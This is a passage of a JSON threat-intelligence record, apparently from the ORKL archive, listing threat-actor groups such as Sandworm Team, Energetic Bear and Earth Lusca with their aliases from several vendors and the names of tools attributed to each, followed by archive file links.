				"PCRat",
				"Poison Ivy",
				"SPIVY",
				"Spindest",
				"pivy",
				"poisonivy"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "910b38e9-07fe-4b47-9cf4-e190a07b1b84",
			"created_at": "2024-04-24T02:00:49.516358Z",
			"updated_at": "2026-04-10T02:00:05.309426Z",
			"deleted_at": null,
			"main_name": "Akira",
			"aliases": [
				"Akira",
				"GOLD SAHARA",
				"PUNK SPIDER",
				"Howling Scorpius"
			],
			"source_name": "MITRE:Akira",
			"tools": [
				"Mimikatz",
				"PsExec",
				"AdFind",
				"Akira _v2",
				"Akira",
				"Megazord",
				"LaZagne",
				"Rclone"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "8941e146-3e7f-4b4e-9b66-c2da052ee6df",
			"created_at": "2023-01-06T13:46:38.402513Z",
			"updated_at": "2026-04-10T02:00:02.959797Z",
			"deleted_at": null,
			"main_name": "Sandworm",
			"aliases": [
				"IRIDIUM",
				"Blue Echidna",
				"VOODOO BEAR",
				"FROZENBARENTS",
				"UAC-0113",
				"Seashell Blizzard",
				"UAC-0082",
				"APT44",
				"Quedagh",
				"TEMP.Noble",
				"IRON VIKING",
				"G0034",
				"ELECTRUM",
				"TeleBots"
			],
			"source_name": "MISPGALAXY:Sandworm",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "7bd810cb-d674-4763-86eb-2cc182d24ea0",
			"created_at": "2022-10-25T16:07:24.1537Z",
			"updated_at": "2026-04-10T02:00:04.883793Z",
			"deleted_at": null,
			"main_name": "Sandworm Team",
			"aliases": [
				"APT 44",
				"ATK 14",
				"BE2",
				"Blue Echidna",
				"CTG-7263",
				"FROZENBARENTS",
				"G0034",
				"Grey Tornado",
				"IRIDIUM",
				"Iron Viking",
				"Quedagh",
				"Razing Ursa",
				"Sandworm",
				"Sandworm Team",
				"Seashell Blizzard",
				"TEMP.Noble",
				"UAC-0082",
				"UAC-0113",
				"UAC-0125",
				"UAC-0133",
				"Voodoo Bear"
			],
			"source_name": "ETDA:Sandworm Team",
			"tools": [
				"AWFULSHRED",
				"ArguePatch",
				"BIASBOAT",
				"Black Energy",
				"BlackEnergy",
				"CaddyWiper",
				"Colibri Loader",
				"Cyclops Blink",
				"CyclopsBlink",
				"DCRat",
				"DarkCrystal RAT",
				"Fobushell",
				"GOSSIPFLOW",
				"Gcat",
				"IcyWell",
				"Industroyer2",
				"JaguarBlade",
				"JuicyPotato",
				"Kapeka",
				"KillDisk.NCX",
				"LOADGRIP",
				"LOLBAS",
				"LOLBins",
				"Living off the Land",
				"ORCSHRED",
				"P.A.S.",
				"PassKillDisk",
				"Pitvotnacci",
				"PsList",
				"QUEUESEED",
				"RansomBoggs",
				"RottenPotato",
				"SOLOSHRED",
				"SwiftSlicer",
				"VPNFilter",
				"Warzone",
				"Warzone RAT",
				"Weevly"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "75455540-2f6e-467c-9225-8fe670e50c47",
			"created_at": "2022-10-25T16:07:23.740266Z",
			"updated_at": "2026-04-10T02:00:04.732992Z",
			"deleted_at": null,
			"main_name": "Iridium",
			"aliases": [],
			"source_name": "ETDA:Iridium",
			"tools": [
				"CHINACHOPPER",
				"China Chopper",
				"LazyCat",
				"Powerkatz",
				"SinoChopper",
				"reGeorg"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "3a0be4ff-9074-4efd-98e4-47c6a62b14ad",
			"created_at": "2022-10-25T16:07:23.590051Z",
			"updated_at": "2026-04-10T02:00:04.679488Z",
			"deleted_at": null,
			"main_name": "Energetic Bear",
			"aliases": [
				"ATK 6",
				"Blue Kraken",
				"Crouching Yeti",
				"Dragonfly",
				"Electrum",
				"Energetic Bear",
				"G0035",
				"Ghost Blizzard",
				"Group 24",
				"ITG15",
				"Iron Liberty",
				"Koala Team",
				"TG-4192"
			],
			"source_name": "ETDA:Energetic Bear",
			"tools": [
				"Backdoor.Oldrea",
				"CRASHOVERRIDE",
				"Commix",
				"CrackMapExec",
				"CrashOverride",
				"Dirsearch",
				"Dorshel",
				"Fertger",
				"Fuerboos",
				"Goodor",
				"Havex",
				"Havex RAT",
				"Hello EK",
				"Heriplor",
				"Impacket",
				"Industroyer",
				"Karagany",
				"Karagny",
				"LightsOut 2.0",
				"LightsOut EK",
				"Listrix",
				"Oldrea",
				"PEACEPIPE",
				"PHPMailer",
				"PsExec",
				"SMBTrap",
				"Subbrute",
				"Sublist3r",
				"Sysmain",
				"Trojan.Karagany",
				"WSO",
				"Webshell by Orb",
				"Win32/Industroyer",
				"Wpscan",
				"nmap",
				"sqlmap",
				"xFrost"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "a66438a8-ebf6-4397-9ad5-ed07f93330aa",
			"created_at": "2022-10-25T16:47:55.919702Z",
			"updated_at": "2026-04-10T02:00:03.618194Z",
			"deleted_at": null,
			"main_name": "IRON VIKING",
			"aliases": [
				"APT44 ",
				"ATK14 ",
				"BlackEnergy Group",
				"Blue Echidna ",
				"CTG-7263 ",
				"ELECTRUM ",
				"FROZENBARENTS ",
				"Hades/OlympicDestroyer ",
				"IRIDIUM ",
				"Qudedagh ",
				"Sandworm Team ",
				"Seashell Blizzard ",
				"TEMP.Noble ",
				"Telebots ",
				"Voodoo Bear "
			],
			"source_name": "Secureworks:IRON VIKING",
			"tools": [
				"BadRabbit",
				"BlackEnergy",
				"GCat",
				"NotPetya",
				"PSCrypt",
				"TeleBot",
				"TeleDoor",
				"xData"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "18a7b52d-a1cd-43a3-8982-7324e3e676b7",
			"created_at": "2025-08-07T02:03:24.688416Z",
			"updated_at": "2026-04-10T02:00:03.734754Z",
			"deleted_at": null,
			"main_name": "BRONZE UNIVERSITY",
			"aliases": [
				"Aquatic Panda",
				"Aquatic Panda ",
				"CHROMIUM",
				"CHROMIUM ",
				"Charcoal Typhoon",
				"Charcoal Typhoon ",
				"Earth Lusca",
				"Earth Lusca ",
				"FISHMONGER ",
				"Red Dev 10",
				"Red Dev 10 ",
				"Red Scylla",
				"Red Scylla ",
				"RedHotel",
				"RedHotel ",
				"Tag-22",
				"Tag-22 "
			],
			"source_name": "Secureworks:BRONZE UNIVERSITY",
			"tools": [
				"Cobalt Strike",
				"Fishmaster",
				"FunnySwitch",
				"Spyder",
				"njRAT"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "6abcc917-035c-4e9b-a53f-eaee636749c3",
			"created_at": "2022-10-25T16:07:23.565337Z",
			"updated_at": "2026-04-10T02:00:04.668393Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"Bronze University",
				"Charcoal Typhoon",
				"Chromium",
				"G1006",
				"Red Dev 10",
				"Red Scylla"
			],
			"source_name": "ETDA:Earth Lusca",
			"tools": [
				"Agentemis",
				"AntSword",
				"BIOPASS",
				"BIOPASS RAT",
				"BadPotato",
				"Behinder",
				"BleDoor",
				"Cobalt Strike",
				"CobaltStrike",
				"Doraemon",
				"FRP",
				"Fast Reverse Proxy",
				"FunnySwitch",
				"HUC Port Banner Scanner",
				"KTLVdoor",
				"Mimikatz",
				"NBTscan",
				"POISONPLUG.SHADOW",
				"PipeMon",
				"RbDoor",
				"RibDoor",
				"RouterGod",
				"SAMRID",
				"ShadowPad Winnti",
				"SprySOCKS",
				"WinRAR",
				"Winnti",
				"XShellGhost",
				"cobeacon",
				"fscan",
				"lcx",
				"nbtscan"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "d53593c3-2819-4af3-bf16-0c39edc64920",
			"created_at": "2022-10-27T08:27:13.212301Z",
			"updated_at": "2026-04-10T02:00:05.272802Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"Earth Lusca",
				"TAG-22",
				"Charcoal Typhoon",
				"CHROMIUM",
				"ControlX"
			],
			"source_name": "MITRE:Earth Lusca",
			"tools": [
				"Mimikatz",
				"PowerSploit",
				"Tasklist",
				"certutil",
				"Cobalt Strike",
				"Winnti for Linux",
				"Nltest",
				"NBTscan",
				"ShadowPad"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "b3e954e8-8bbb-46f3-84de-d6f12dc7e1a6",
			"created_at": "2022-10-25T15:50:23.339976Z",
			"updated_at": "2026-04-10T02:00:05.27483Z",
			"deleted_at": null,
			"main_name": "Sandworm Team",
			"aliases": [
				"Sandworm Team",
				"ELECTRUM",
				"Telebots",
				"IRON VIKING",
				"BlackEnergy (Group)",
				"Quedagh",
				"Voodoo Bear",
				"IRIDIUM",
				"Seashell Blizzard",
				"FROZENBARENTS",
				"APT44"
			],
			"source_name": "MITRE:Sandworm Team",
			"tools": [
				"Bad Rabbit",
				"Mimikatz",
				"Exaramel for Linux",
				"Exaramel for Windows",
				"GreyEnergy",
				"PsExec",
				"Prestige",
				"P.A.S. Webshell",
				"AcidPour",
				"VPNFilter",
				"Neo-reGeorg",
				"Cyclops Blink",
				"SDelete",
				"Kapeka",
				"AcidRain",
				"Industroyer",
				"Industroyer2",
				"BlackEnergy",
				"Cobalt Strike",
				"NotPetya",
				"KillDisk",
				"PoshC2",
				"Impacket",
				"Invoke-PSImage",
				"Olympic Destroyer"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434614,
	"ts_updated_at": 1775792228,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/d364aa9006e9c142e07520d3afac7a2f3ff54adb.pdf",
		"text": "https://archive.orkl.eu/d364aa9006e9c142e07520d3afac7a2f3ff54adb.txt",
		"img": "https://archive.orkl.eu/d364aa9006e9c142e07520d3afac7a2f3ff54adb.jpg"
	}
}